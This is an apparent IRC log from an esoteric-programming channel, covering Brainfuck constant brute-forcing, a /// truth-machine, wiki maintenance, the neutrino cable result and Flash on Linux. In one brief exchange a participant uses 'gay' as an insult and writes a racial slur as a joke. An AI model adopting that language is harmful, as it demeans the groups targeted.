20:11:46 -!- Phantom__Hoover has quit (Ping timeout: 240 seconds).
20:26:37 -!- oerjan has joined.
20:28:00 <oerjan> hey ais523 isn't here, i was going to swat him for stealing the flyswatter.
20:28:00 <lambdabot> oerjan: You have 1 new message. '/msg lambdabot @messages' to read it.
20:28:26 -!- ais523 has joined.
20:31:26 <oerjan> elliott: an itflabtijtslwi (wow i didn't have to expand the acronym before typing it!) truth-machine is probably going to need the entire main loop scaffolding.
20:32:04 <oerjan> other than that, it shouldn't be that hard.
20:33:17 <oerjan> eek you've talked a lot
20:34:07 <Ngevd> Count the links to fancy L
20:34:42 <oerjan> argh more than 100 edits since i logged off as well
20:35:46 <oerjan> elliott: with this wiki traffic i almost miss the spammers, at least i could skip their new pages :P
20:38:14 <oerjan> that truth machine got a real popular problem really fast :P
20:38:42 <Ngevd> I'm responsible for at least three
20:40:32 * oerjan swats ais523 for stealing the flyswatter. -----###
20:40:50 <mRoman> oerjan: It's listed unter popular problems, so it has to be .
20:41:11 <oerjan> mRoman: you realize it was put there today, right
20:43:29 <mRoman> oerjan: Of course, I'm joking.
20:47:27 <Ngevd> There is now a BIT Truth-machine
20:55:05 <elliott> oerjan: most of the edits are resource -> resources ;P
20:56:36 <oerjan> at least mediawiki tabs are lightweight
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20:58:32 <itidus22> Alan Turing is turing complete :-D
20:58:57 <itidus22> He is a proof that humans can devise turing machines.
20:59:03 <oerjan> itidus22: that is fairly unlikely, and not just because he's dead.
20:59:09 <ais523> being able to devise something isn't the same as being able to implement it
20:59:18 <ais523> you can easily output a representation of a turing machine with cat
20:59:22 <ais523> that doesn't make cat TC
21:01:57 <itidus22> the proof that alan turing is turing complete is he can program with http://esolangs.org/wiki/English
21:02:55 <itidus22> now i wonder if there is any natural languge which is not TC
21:05:10 <oerjan> itidus22: no that isn't a proof. you need to show he can _run_ any english program.
21:05:39 <shachaf> elliott: 13:00 < elliott1> what is the difference between $ and . ?
21:06:00 <shachaf> I'm going to pretend that elliott1 = elliott.
21:06:14 <elliott> shachaf: No. No. Why must they have my name
21:06:34 <shachaf> elliott: I note that there's not a singe "eliot" on Freenode.
21:06:54 <oerjan> elliott: when i become world dictator, i can prohibit anyone but you from being named elliott, if you like. ok maybe i'll exempt conal.
21:07:06 <elliott> oerjan: thank you, that would be wonderful
21:07:15 <shachaf> oerjan: What about elliottt?
21:07:32 <itidus22> my intuition tells me that computation doesn't happen without some sentient being having been responsible for it.. but my intuition isn't so great.
21:07:47 <shachaf> And elliottcable, I guess. I mean, where would we be without elliottcable?
21:08:07 <ais523> hmm, are there any elliots around? or eliotts?
21:08:16 <ais523> wow, I'm so used to our elliott that both those spellings look incredibly wrong
21:08:29 <elliott> That's because they are wrong.
21:08:32 <oerjan> itidus22: note that some physicists propose that the entire _universe_ is just computation...
21:09:44 <itidus22> i understand it to be the case that the universe isn't chaos. i guess computation is constrained by the same lack of chaos
21:10:31 <itidus22> hmmm... every fact in the world is like a piece of a crossword puzzle
21:10:44 <itidus22> which makes it sort of possible to infer one fact from another
21:11:08 <itidus22> whereas, if each fact was truely arbitrary you couldn't really make progress in finding other facts
21:11:27 <oerjan> itidus22: um the word chaos nowadays has a technical mathematical meaning which shows up in many phenomena, like e.g. the weather.
21:12:08 -!- Ngevd has joined.
21:12:09 <itidus22> yeah i have these ideas which i don't know the correct names for
21:12:26 <Ngevd> I've been making Truth-machines
21:13:17 <oklopol> i should probably get more serious about the development of fartboob, sofar i just have . and , and [ and ], they're boob, fart, tits and poop, but i'm kind of stuck here
21:13:55 <elliott> oklopol: assign <>+- to the same word
21:14:04 <elliott> which is actually used is deduced from context
21:14:17 <oerjan> itidus22: http://en.wikipedia.org/wiki/The_Unreasonable_Effectiveness_of_Mathematics_in_the_Natural_Sciences may be relevant (note i haven't read it myself)
21:14:25 <oklopol> that's actually an awesome idea
21:14:40 <elliott> oerjan: i think the term here is "enabler"
21:14:59 <itidus22> like, i guess with a cellular automata, on an nth iteration you can make some predictions about the previous iteration.. if its alive now then it must have had either 2 or 3 live neighbors last iteration
21:15:26 <oerjan> elliott: hey if he actually read such stuff he might start getting deeper ideas
21:16:15 <elliott> oerjan: unlike you to be so optimistic :)
21:16:46 <itidus22> so, if you take a game of life you could use it like a crossword puzzle to try and guess what the previous iteration was
21:16:56 <itidus22> that could be a kind of sudoku-like game
21:17:11 <elliott> oerjan: see, it's much easier just to move on to something else.
21:18:14 <itidus22> all phenomena in the world have this aspect that you can learn about a second thing by studying the first thing
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21:20:16 <itidus22> anyway computation is predictable enough that they are able to crack codes
21:21:57 <elliott> it would really help to learn before trying to convey
21:23:52 <Taneb> I've got a Truth-machine in constantinople
21:24:45 <oerjan> elliott: erm the ==Introduction== section in Brainfuck constants was put there because of the general editing problem.
21:25:15 <oerjan> otherwise it's awkward to edit that part.
21:26:01 <oerjan> (not impossible, there's a general §ion=0 trick but not all people may know about that.)
21:26:46 <elliott> oerjan: the editing problem is gone
21:26:55 <elliott> I suppose it might still be annoying for IE users
21:27:17 <itidus22> oerjan: one of my axioms in reasoning about the universe is that another concious being can't divide my conciousness in such a way that they partake in it
21:27:33 <oerjan> from your table edit, i take it that section name problem is also gone?
21:27:42 <elliott> dunno what problem it is but I fixed the TOC
21:28:03 <elliott> oerjan: anyway, you could add a link [{{fullurl:Brainfuck constants|action=edit|section=0}} Edit this introduction] or whatever
21:28:12 <elliott> but it works fine in my browser; are you sure your IE has problems with it nowadays?
21:29:26 <oerjan> elliott: your TOC fix was probably because the new mediawiki does _not_ have that strange section renaming stuff, so you had to change the names there but that means the old problem no longer applies
21:29:54 <elliott> I suppose old MW did weird things with sections with numeric names or something
21:29:55 <mRoman> What about an esolang based on longest common substring.
21:30:00 <mRoman> only the longest common substring is executed.
21:30:11 <itidus22> that even if the entire state of the universe were identical for each of us... there is no guarantee we would experience the same thing
21:30:32 <itidus22> theres just no way yet to prove it either way
21:30:41 <elliott> jilffdgjkljfld;jgksdfhg;'sdlk;dfjljk
21:31:14 <elliott> oerjan: i was thinking about applying brute-force to the problem of shortening some of the brainfuck constants.
21:31:17 <elliott> since they're hand-written, right?
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21:32:51 <elliott> the shortest programs there already establish an upper-bound on length, two of the instructions are irrelevant, and things like [] can be pruned outright, so it seems like it would be possible to constrain things enough that random generation of programs is productive
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21:33:50 <olsner> might be short enough to allow exhaustive search
21:33:54 <oerjan> elliott: ok the page saved fine
21:34:10 <olsner> and when you have some programs, you get some solutions for the larger constants for free
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21:34:24 <elliott> olsner: definitely not short enough
21:34:32 <elliott> some of the programs are 17 chars long
21:34:49 <elliott> 6^17 = a few fucktons; OK, you can disregard anything with unbalanced loops, anything with ][, []
21:34:59 <elliott> but I'm sceptical you'd be able to get it down to brute-forcing range
21:35:11 <oerjan> i thought i read the wrapping versions _had_ been exhaustively searched
21:35:20 <elliott> a cite for that would be nice :P
21:35:56 <olsner> 6^17 is only like 2^44
21:36:02 <elliott> i mean they _look_ pretty optimal
21:36:13 <elliott> i'm not any good at intuitive sizes of powers :(
21:36:33 <olsner> neither am I, so I looked it up
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21:36:48 <oerjan> elliott: it was probably mentioned on the talk page
21:37:10 <Phantom___Hoover> Ahahaha, the neutrino results were apparently because of a misconnected cable.
21:37:15 <oerjan> looks like Calamari is the one to ask
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21:37:27 <oerjan> Phantom___Hoover: NOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
21:38:12 <elliott> oerjan: nothing on the talk page
21:38:15 <elliott> Phantom___Hoover: seriously?
21:38:33 <elliott> oerjan: oh well "I can generate the non-wrapping versions with my program so you don't have to do them by hand." doesn't imply brute-force to me
21:38:41 <elliott> oerjan: most of the non-wrapping ones follow an obvious pattern, iirc
21:38:45 <elliott> probably some multiplication + addition
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21:39:47 <Phantom___Hoover> Well, there are reports of an optical cable in the clock connection being loosly-connected to something else, which would cause the 60ns lead, but I'm not sure whether it was actually in the setup they used or if it's a plausible reason.
21:40:07 <elliott> oerjan: anyway I suppose it's only worth bothering if I can think of a decent algorithm to generate a random BF program that omits all those "silly" things
21:40:13 <elliott> without restricting the program structure beyond that
21:40:21 <oerjan> elliott: well i generated some of them with a haskell program
21:40:43 <elliott> i doubt haskell would be fast enough for brute-forcing these :)
21:40:55 <oerjan> elliott: no i mean, some of the non-wrapping ones
21:41:30 <oerjan> in fact i made an improvement but never included the results from that
21:42:01 <elliott> hmm, I suppose something like bifro could work for generating them, but would probably be very inefficient
21:42:12 <elliott> what's the longest wrapping constant on there?
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21:44:12 <elliott> 2230 years if it takes a ms to evaluate a given program and there's no delay in-between
21:44:44 <elliott> ofc restricting to valid, "non-stupid" BF programs should cut down the space massively
21:44:55 <elliott> but it needs to be done "inherently" rather than filtering after-the-fact or there'll be no gain
21:45:19 <elliott> Phantom___Hoover: "At the AAAS meeting's discussion, CERN's director of research, Sergio Bertolucci, placed his bet on what the results would be: "I have difficulty to believe it, because nothing in Italy arrives ahead of time.""
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21:46:12 <oerjan> well no consecutive +- or >< for a start
21:47:08 <elliott> basically we need a state machine that only produces non-stupid BF programs :P
21:47:17 <oerjan> which means it's at most 5^18, really
21:47:23 <elliott> (i.e. + goes to a state without - as an option)
21:47:50 <elliott> but again, the problem is writing a generator for this
21:47:55 <oerjan> oh and really 17... you don't want the solutions that are just as long as the old ones
21:49:07 <oerjan> elliott: StateT Int [] is what i used in the haskell program, something similar should be appropriate here too
21:50:10 <oerjan> length of what i got so far
21:50:22 <elliott> I think all we need is a grammar for non-stupid BF programs
21:50:28 <elliott> which would then be trivial to turn into an efficient random generator
21:52:22 <oerjan> well you cannot start with a loop
21:52:28 <elliott> http://eli.thegreenplace.net/2010/01/28/generating-random-sentences-from-a-context-free-grammar/
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21:54:08 <itidus22> this is what i came up with the other day.. (possibly on topic) .. i quickly gave up my line of thought.. http://pastie.org/3435222
21:54:31 <olsner> starting with anything else than at least one + is probably pointless
21:54:59 <oerjan> well there is the question of what cell you start or end in
21:56:25 <elliott> olsner: erm what about a -
21:56:38 <elliott> that's the shortest way to get 255, for example
21:56:48 <olsner> oh, are we assuming wrapping?
21:56:56 <elliott> for this exercise, yes, since the programs are shorter
21:57:00 <elliott> and a > appears at the start of many of the wrapping programs
21:57:05 <elliott> +-> seems like a reasonable start set
21:57:11 <elliott> namely, the only reasonable one
21:58:09 <olsner> alright, then - is not pointless... but is > not pointless?
21:58:26 <olsner> for keeping the first cell at 0?
21:58:30 <elliott> no, because you can use it as scratch space later
22:00:13 <elliott> oerjan: anyway it doesn't sound that hard to come up with a reasonable grammar, I think
22:01:15 <oerjan> +>++<+ is also sort of unnecessary
22:01:39 <elliott> oerjan: ooh how long until we get to a^nb^nc^n
22:02:32 <oerjan> hm i think having anything other than those disallowed pairings and matching []'s may be overkill?
22:02:51 <oerjan> (also not starting in [)
22:04:14 <elliott> P0 = '+' P1Add | '-' P1Sub | '>' P1Fwd
22:04:14 <elliott> P1Add = '+' ... | '>' ... | '[' ... ']'
22:04:14 <elliott> P1Sub = '-' ... | '>' ... | '[' ... ']'
22:04:14 <elliott> P1Fwd = '+' ... | '-' ... | '>' ...
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22:07:57 <oerjan> is it clear that we can assume loops are balanced?
22:10:06 <elliott> oerjan: it sounds like the kind of thing that is reasonable to assume in hand-written programs, but there might be some really bizarre programs that take advantage of not using balanced loops
22:10:18 <elliott> the kinds of things a human would never write :P
22:10:24 <elliott> presumably we want to set a limit on the number of cells used
22:10:46 <olsner> do unbalanced loops even work?
22:11:16 <olsner> I mean, can you do something useful with them?
22:12:31 <elliott> olsner: well the point of applying brute force to the problem is to remove human preconceptions :P
22:12:46 <olsner> alright, go ahead then :)
22:14:07 <itidus22> for once i almost understand the topic
22:15:35 <elliott> oerjan: hm all the generated constants use 2 cells or less, right?
22:17:13 <oerjan> for wrapping, i think so.
22:17:42 <elliott> oerjan: that makes testing the candidates really easy, then
22:17:46 <elliott> as far as memory/cpu requirements go
22:18:14 <olsner> especially memory, you'll only need like 19 bytes
22:18:26 <oerjan> it also makes unbalanced loops _very_ unlikely to help, iirc my 3-cell bf musings.
22:19:02 <elliott> oerjan: right. but i'm not sure how much you gain from leaving them out, really
22:19:18 <itidus22> ultimately this topic leads into protein folding i think.. first by considering distributed processing.. then considering benefit to humanity.. and existant projects trying to find things via brute force
22:19:39 <elliott> oerjan: a benefit of restricting to balanced loops would be that an AST could be built as the program is generated
22:19:51 <elliott> as in, like the fancy interpreters that store balanced loops as a few integers
22:20:00 <elliott> those could be generated directly, skipping the parsing stage
22:20:43 <olsner> you'll need to unparse to compare the length though
22:21:04 <elliott> olsner: well the idea is that you'd track that in the generator itself...
22:25:41 <elliott> oerjan: btw i was just curious as to whether you were planning to write a Truth-machine in itflabtijtslwi from what you said; if not I might have a go at it
22:25:56 <itidus22> a thought occurs to me of a neural network which has been trained by a large set of useful real world bf programs
22:27:32 <itidus22> and more potently if you were to feed such a neural network all the source code on the internet in a given language
22:29:47 <itidus22> which would collect all of humanitys ignorance .. i uhh... yeah disregard
22:31:56 <oerjan> i vote itidus22 "least likely to accidentally create an evil humanity-destroying ai" on the channel.
22:32:11 <oerjan> wait, scratch "accidentally"
22:32:40 <elliott> oerjan: ok i'll take that as a no then
22:34:57 <oerjan> well afaik there are just two people who have written looping /// / itflabtijtslwi programs so far, so more are needed.
22:35:13 <oerjan> (Nthern being the other one.)
22:35:16 <elliott> if I write one, will you golf it? :P
22:35:44 <elliott> hm what's the file extension for itflabtijtslwi
22:36:00 <oerjan> you know me, i'm likely to format it with better indentation.
22:36:11 <oerjan> .itf is what i've used, i think
22:37:36 <elliott> oerjan: hm i am not sure it is possible at all
22:37:45 <elliott> because you have to replace 1 with... wait, no
22:37:49 <elliott> i forgot you could use delimiters
22:38:13 <oerjan> otherwise the rot13 program wouldn't have worked either...
22:38:15 <elliott> GGIGG/<0>/0//<1>/111111.../<I>
22:38:37 <elliott> so now the problem is reduced to "write a slashes program that prints 1 forever". ok, that sounds doable
22:39:33 <elliott> oerjan: i was just trying to delude myself :(
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22:39:39 <elliott> i'm not going to have to generate this, am I? :P
22:39:46 <oerjan> golfing: remove the >'s
22:40:48 <oerjan> elliott: just use a main loop template and replace the innards?
22:40:56 <elliott> i don't even know what the main loop templates are
22:40:59 <elliott> and finding out would be cheating
22:41:36 <elliott> i have never written a (non-extremely-trivial) /// program before.
22:42:15 <oerjan> well if you don't know the basic _principle_ i invented for making a nice main loop, then you might have some trouble.
22:42:35 <elliott> i know it involves dequoting to replicate source
22:42:55 <elliott> (///: succeeding where malbolge failed?)
22:43:36 <elliott> ok but this is literally just X -> 1X so I refuse to believe it's that difficult
22:44:09 <elliott> ok, the first problem I run into is that I have no idea how to "copy" more than one character.
22:44:51 * oerjan metaphorically gets popcorn
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22:45:26 <elliott> /Y/<copy of these two lines>X/
22:45:45 <elliott> is this on the right track, apart from the part where the <>s will require a complete restructuring? :P
22:46:36 <kallisti> Just to remind you that Google has initiated a competition for Programmers and Engineers to work together to solve Atlanta's traffic problems. The first meeting is tomorrow when Google and someone from the Atlanta Regional Commission will explain the competition. If you are a serious programmer, this challenge is for you.
22:47:06 <oerjan> kallisti: you'll probably be ironically caught in a traffic jam on the way
22:47:52 <kallisti> so probably stuck in traffic afterwards.
22:47:52 <oerjan> elliott: let's say that i don't recognize my own idea in that yet.
22:47:56 <kallisti> with some mild traffic before.
22:48:04 <kallisti> Atlanta has /horrible/ traffic.
22:48:12 <elliott> oerjan: ok how about this (ignoring newlines)
22:48:21 <elliott> /ME/quoted version of these three lines/
22:48:46 <kallisti> http://savvyatlanta.files.wordpress.com/2008/08/intersec.jpg <-- look at this
22:48:49 <elliott> I would store those three lines in the pre-quoted form
22:48:56 <elliott> and unescape them at runtime to make them "active"
22:49:14 <kallisti> that's what happens when three major interstate highways intersect on the perimeter of Atlanta.
22:49:35 <itidus22> why do they intersect in the one point?
22:49:49 <itidus22> its like a large hadron collider :d
22:49:53 <oerjan> elliott: well yes, vaguely
22:50:16 <kallisti> 75 cuts through the middle of Georgia going from Florida all the way up to (I think) Maine?
22:50:31 <oerjan> i'm not sure why you'd want to copy the 1 separately, though
22:50:50 <elliott> oerjan: erm hm as opposed to what?
22:50:53 <kallisti> 85 kind of goes diagonally through the Atlanta to the northeast
22:51:03 <kallisti> and the 285 surrounds the perimeter of Atlanta
22:51:09 <kallisti> so... I think they kind of have to intersect somewhere...
22:51:16 <oerjan> elliott: just include it directly in the pre-quoted program
22:51:29 <elliott> /ME/1quoted version of these two lines/
22:51:37 <itidus22> they should forget all the bridges and just put in a giant round-a-bout
22:52:05 <oerjan> elliott: yep, afa the 1 goes
22:52:12 <elliott> this can't possibly work :(
22:52:51 <elliott> /ME/1quoted version//XX/Y//Y/MEX\X/XX
22:52:56 <elliott> starting to look right? :P
22:53:22 <itidus22> http://www.terrain.org/articles/2/siegman.htm :-D
22:53:59 <elliott> ok so the basic structure would be
22:54:12 <elliott> + whatever machinery is necessary to get the quoting going
22:54:12 <kallisti> spaghetti junction is 285 and 85
22:54:31 <ais523> oh, hmm, they think they figured out the neutrino thing, apparently the cable they were using to calibrate the clocks against GPS was faulty
22:54:41 <ais523> and they think that might be responsible for the apparently going too fast
22:55:30 <kallisti> -shrug- it's a complicated experiment.
22:55:52 <elliott> itidus22: it would have been embarrassing if they said "we think neutrinos are going ftl"
22:57:00 <kallisti> it's also not really embarassing because they heavily downplayed it and immediately double-checked everything.
22:57:33 <oerjan> elliott: i think you are missing an important idea, which will become apparent once you try to flesh out the details.
22:57:55 <elliott> oerjan: why don't you tell me what the important idea is :P
22:57:59 <kallisti> http://maps.google.com/maps?q=atlanta+traffic+spaghetti+junction&hl=en&ll=33.892523,-84.257562&spn=0.009939,0.021136&sll=33.808535,-84.387016&sspn=0.159179,0.338173&gl=us&hq=traffic+spaghetti+junction&hnear=Atlanta,+Fulton,+Georgia&t=m&z=16
22:58:18 <itidus22> now just a few jeff goldblum logical leaps from ftl to /// and it will all be resolved
22:58:23 <kallisti> for the xkcd traffic engineering prank comic
22:58:29 <kallisti> Randall should have just drew this.
22:59:31 <itidus22> kallisti: i still say round-a-bout :->
22:59:40 <kallisti> yeah Americans are afraid of those.
22:59:43 <oerjan> elliott: you need to copy your quoted program to two different spots, and then handle those diffently to produce both the program to run directly and the next pre-quoted version
23:00:04 <kallisti> where you literally drive through an intersection of two roads and hope everyone is paying attention
23:00:20 <itidus22> i don't drive.. can't really comment
23:00:32 <kallisti> (seriously they've conducted polls on opinions about roundabouts)
23:00:44 <elliott> oerjan: yes, and it is the "copying a block of text that I can't embed to two places" bit I can't figure out :(
23:02:10 <itidus22> kallisti: i think the trouble with a roundabout is you can't really arrive at it through engineering
23:02:43 <itidus22> it's so heavily based on understanding how a group of humans will react to a roundabout in hindsight
23:02:54 <oerjan> elliott: erm what do you mean
23:03:14 <kallisti> traffic signals are like mutexes, whereas roundabouts are more like... wait what is a concurrency abstraction that fits a roundabout?
23:03:24 <itidus22> its like if you were to have an intersection generation grammar you could avoid human preconceptions about what is a good design
23:03:54 <oerjan> !slashes /X/Copying to two places in \\\/\\\/\\\/ is easy/X X
23:03:57 <EgoBot> Copying to two places in /// is easy Copying to two places in /// is easy
23:04:49 <itidus22> its easy once someone else does the r & d
23:04:56 <elliott> !slashes /X/backslash: \///X/y/X
23:05:25 <elliott> oerjan: this is... incredibly difficult to reason about :P
23:05:30 <itidus22> kind of like building a 3ghz computer is easy provided you live in 2012
23:05:59 <oerjan> elliott: you don't say :D
23:06:45 <elliott> is there not some magic trick for a constant infinite loop? :P
23:07:06 <oerjan> unless you want one which only burns CPU
23:10:26 <itidus22> so it is interesting to see that tcness does not imply any magic tricks
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23:15:45 <oerjan> <elliott> Is this... concrete evidence that oerjan actually exists?! <-- obviously fake
23:17:10 <oerjan> yeah but that was before i knew the universe was just a figment of my imagination.
23:17:55 <phantgarino> http://www.youtube.com/watch?v=j-kbMF1GF2A
23:19:23 <elliott> it's up to scotland to decide :D
23:19:52 <phantgarino> Obviously, we have much experience with drinking.
23:23:39 <kallisti> itidus22: I thought it was just based on the idea of allowing traffic flow to contiue from all intersecting roadways without sudden build-ups (which is theoretically shown to reduce overall traffic flow). Also it has the benefit of allowing more than 2 roads to intersect.
23:24:15 <kallisti> also it reduces removes an entire category of traffic accidents.
23:25:07 <kallisti> intersection-related accidents are very frequent.
23:25:13 * oerjan swats ais523 for abbreviating the project which shall not be abbreviated -----###
23:25:36 <ais523> oerjan: I didn't, I simply specified a name by which it wasn't referred to
23:25:48 <ais523> pretty much everything said in the channel is a name that doesn't refer to that project
23:26:39 <kallisti> would you guys hate me if I started using Lisp-style ' to refer to words themselves rather than the concept being referred to by the word?
23:27:18 <HackEgo> verno pun ful cowl nifeenwe pie slitte tra swinm peirof woodp itn vestion woeda rate poli sat sii dendric dro kobe dispi ubsicifice habi launsell
23:27:19 <elliott> Have you heard of quote marks?
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23:28:00 <kallisti> elliott: yeah, but I'm not familiar with "heard"
23:28:19 <kallisti> what's wrong with 'vestion instead?
23:28:42 <kallisti> actually "dendric" has shown up multiple times and I think is an actual word.
23:29:35 <kallisti> Google suggested "dendritic" but looking up dendric also has people using it.
23:30:40 <phantgarino> kallisti, yes, we get it, you don't like Skyrim.
23:31:07 <kallisti> sorry I won't reply to things brought up by other people.
23:32:29 -!- elliott has set topic: Nicolaas Govert de Bruijn 1918-2012 | http://codu.org/logs/_esoteric/ | http://esolangs.org/wiki/ has moved servers!.
23:32:31 <phantgarino> There's a Thribbian eulogy in here somewhere but I can't quite get it.
23:32:53 <elliott> At least he was 93. That's pretty darn old.
23:33:25 <kallisti> I hope Grigori Perelman comes back one day and is like "I proved P=NP guys. I'm going to disappear again because I hate the mathematics community."
23:33:56 <phantgarino> Maybe something with de Bruijn indices and 93 or something?
23:34:06 <elliott> kallisti: I don't think Grigori Perelman is a hermit.
23:34:23 <kallisti> well he didn't literally disappear from society.
23:34:29 <elliott> "He had previously turned down a prestigious prize from the European Mathematical Society,[26] allegedly saying that he felt the prize committee was unqualified to assess his work, even positively.[27]"
23:34:44 <elliott> phantgarino: Give me a good reason not to take Perelman as my hero???
23:35:06 <kallisti> but he declared that he wasn't going to be "practicing math" or something to that effect.
23:35:07 <phantgarino> I don't like him; I think it's my general dislike of geniuses.
23:35:09 <kallisti> even though I think he still is...
23:35:38 <elliott> kallisti: It seems he quit professional mathematics but is still working on things privately.
23:35:44 <elliott> "Quitting" is a bit of a nebulous concept in that context.
23:36:10 <elliott> I mean, Grothendieck has been rather more thorough about it.
23:36:23 <kallisti> he quit being part of the mathematics community, essentially.
23:37:22 <kallisti> I wonder what it's like to cease practicing mathematics.
23:37:48 <kallisti> as that would involve computing sums.
23:39:08 <kallisti> I guess there's a difference between "practicing mathematics" and "performing computations"
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23:48:58 <itidus22> it is like... the theist (presumably) believes that the athiest is simply unaware of god
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23:50:45 <itidus22> do i wanna do this? .. more likely the theist is compelled to correct the athiest for his blasphemy at not talking about god more often
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23:51:43 <oklopol> could you explain the analogy
23:52:00 <itidus22> ignoring that, the mathematician may see people calculating things and consider that they are doing math and just not aware of it
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23:52:59 <oklopol> that's the opposite of what i feel
23:53:14 <oklopol> i feel that they are aware that they are doing math even though they aren't
23:54:04 <itidus22> theres a possible conflict when two systems of categorization of everything are in play
23:54:30 <elliott> ;'dldg'guld][tgklogpfh;et4'w
23:55:25 <oklopol> well i agree but i don't see your point
23:55:45 <oklopol> that was to itidus22, elliott's point is clear :D
23:55:49 <itidus22> like if i said, your god was merely the servant of my god
23:56:47 <oklopol> then you'd be wrong because my god is better
23:58:31 <oklopol> math would make an awesome religion
23:59:26 <itidus22> ok uh.. reformulating... it is possible to perform computations without understanding them
23:59:58 <itidus22> and practicing mathematics seems to be one way of understanding computations among other things
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00:03:26 <itidus22> my internal conceptions at play are really quite a mess
00:17:50 <itidus22> elliott: i first started thinking about random generation of useful things with graphics. i quickly realized the problem though when i found out that in an 8x8 grid that 2^64 possible graphics were possible
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00:18:46 <elliott> assuming you only care about b&w
00:19:03 <itidus22> next i suppose one removes the symmetries. i don't understand this process very well though. but i did manage it for the first 3 moves of tic tac toe.
00:20:01 <itidus22> one could consider tile-space in graphics.. and therefore remove all toroidal symmetries
00:20:41 <itidus22> tile-space is a bad neologism.. but imagining the 8x8 grid existing as a repeated tile
00:21:22 <pikhq> No more Flash on Linux for not-Chrome.
00:22:05 <pikhq> Gregor: They're deprecating the NSAPI plugin entirely in favor of the Pepper API.
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00:22:15 <pikhq> Google Chrome is the only browser that implements that on any OS.
00:22:17 <elliott> They're only distributing the Pepper-based version, and they say they're only distributing it as a bundle with Chrome, but that'll end up amounting to a Pepper<->NSAPI bridge being created and a script to extract Flash from the Chrome distribution.
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00:22:40 <elliott> The bridge should be trivial enough if they only care about Flash, since obviously they'll have just ported from NSAPI to Pepper.
00:22:56 <elliott> Also, all that only applies to Linux still.
00:23:02 <oklopol> "<itidus22> next i suppose one removes the symmetries. i don't understand this process very well though. but i did manage it for the first 3 moves of tic tac toe." see group theory
00:23:16 <Gregor> That's ... a weird move. I don't think Google is even particularly interested in trying to take Firefox's lead in Linux ...
00:23:25 <Gregor> (If it still has a lead)
00:23:26 <pikhq> elliott: It requires NaCl.
00:23:49 <elliott> pikhq: Which is open source.
00:23:58 <Gregor> Buhwhu? People use native client???
00:24:14 <elliott> Gregor: It's Google, of course they use $GOOGLE_THING.
00:24:43 <pikhq> Worst part is, Pepper is based on NSAPI...
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00:25:19 <pikhq_> Worst part is, Pepper is based on NSAPI...
00:25:24 <pikhq_> It'd be hardly any effort to just continue supporting it.
00:25:26 <elliott> Worst part is, Pepper is based on NSAPI...
00:25:52 <Gregor> Worst part is, Pepper is based on NSAPI...
00:26:11 <elliott> Worst part is, Pepper is based on NSAPI...
00:26:22 -!- Gregor has set topic: Nicolaas Govert de Bruijn 1918-2012 | Worst part is, Pepper is based on NSAPI... | http://codu.org/logs/_esoteric/ | http://esolangs.org/wiki/ has moved servers!.
00:26:27 <pikhq_> Yes, my connection drops like crazy.
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00:30:36 <itidus21> thats for all those bad references to hitchhikers
00:32:29 <itidus21> anyway i feel rather clever to figure out filtering toroidal symmetry for tile-graphics generation.
00:34:03 <itidus21> even i can think up such things given enough time doing absolutely nothing at home
00:35:22 <itidus21> its not important i know, just a quiet window to do my ranting
00:35:53 <oklopol> seriously group theory has some awesome symmetry stuff
00:36:35 <itidus21> when i worked out the first 3 moves for tic tac toe.. and i looked it up i was quite amazed i got it all right.
00:36:38 <oklopol> i'll also link here in case other's haven't had the pleasure to read this http://www.math.hkbu.edu.hk/~ttang/newspaper/funnyarticle11.pdf
00:37:27 * oerjan wonders who edited http://en.wikipedia.org/wiki/Esoteric_programming_language
00:38:11 <oerjan> I KNOW YOUR IP *MWAHAHAHA*
00:38:22 <oerjan> i guess that's mutual.
00:38:26 <elliott> oerjan: you like redivider right
00:38:48 <oerjan> um i don't recall what it was like
00:38:58 <elliott> it's the parser combinator tarpit
00:39:07 <elliott> http://esolangs.org/wiki/Redivider/Underload_Interpreter http://esolangs.org/wiki/Redivider/Brainfuck_Interpreter
00:39:12 <elliott> and most relevantly http://esolangs.org/wiki/Truth-machine#Redivider
00:39:34 <elliott> oh and http://esolangs.org/wiki/Redivider#Examples
00:40:05 <oklopol> itidus21: if you want something to do with your brain, you could prove that simplicial complexes occupy the same homotopy equivalence classes as sofic shifts in the weyl topology
00:40:14 <oklopol> i thought i had this but it was too hard
00:40:48 <oklopol> we have the simpler besicovitch case as of yesterday (although i've thought i had it about once a month since september)
00:41:38 <elliott> oerjan: it's really nice because everything is a parser
00:41:42 <elliott> even string literals are parsers
00:41:55 <oklopol> don't you mean it's really GAY because everything is parser
00:41:56 <elliott> it's just all higher-order parsers built up from a few operators
00:42:05 <oklopol> higher-order GAY you mean?
00:42:20 <elliott> also i can't find the ~5-line ski in it that was really nice :(
00:42:27 <itidus21> oklopol: when looking at the 512 tiles that a NES game holds in it's memory at a given moment it got me thinking about the tiles.. so it has a pallete of 2^9 tiles out of a possible 2^64 tiles
00:42:53 <oklopol> so itidus21 and oerjan have the same color
00:43:01 <oklopol> i had the most absurd experience just now.
00:43:32 <ion> Gay still means happy.
00:43:34 <oklopol> (my irc client colors people. i know it's racist but at least no one's black.)
00:44:02 <ion> My terminal’s background color is African-American.
00:44:16 <ion> [polite form]
00:44:44 <oklopol> my background is pitch nigger
00:45:06 <itidus21> so you saw my text in oerjan's color and the whole experience didn't make any sense
00:45:16 <oklopol> itidus21: i thought oerjan said your line
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00:45:28 <oklopol> oerjan does not say something like that out of the blue.
00:45:40 <oklopol> he is very careful about mentioning numbers to me.
00:46:38 <oklopol> anyway i need to sleep so goo night ^^
00:46:50 <itidus21> given that the NES can do vertical and horziontal flipping of tiles it does cut down the set from 2^64 slightly.. but i have no interest in calculating or asking anyone else to calculate how much
00:47:57 <itidus21> actually.. nes tiles are 2 bits which probably means 2^128
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01:19:12 <oerjan> Gregor: it's glass with recycling!
01:20:30 <oerjan> {M[m(_x)0I!0c.?1O!1o.11?22"1"5S!5e.?=/(_x)11?\]} to be precise
01:22:07 * Gregor nods sagely, as if he can actually interpret his own language.
01:25:37 <oerjan> by recycling i mean that i'm using just the one (_x) local name
01:26:40 <oerjan> i'm sure this makes it all that much more readable.
01:35:04 <kallisti> it doesn't look like normal Glass.
01:35:11 <kallisti> maybe I've forgotten some things.
01:35:49 <oerjan> i wrote it more normally first, then figured i could shorten it by using (_x) for everything
01:36:06 <kallisti> the (_x) is what's throwing me off...
01:36:35 <oerjan> i'm basically using it as the variable name for _all_ the objects used, one after the other
01:38:01 <kallisti> Glass is my favorite OO stack language.
01:38:03 <Gregor> Now why did I ever give you local variables X-P
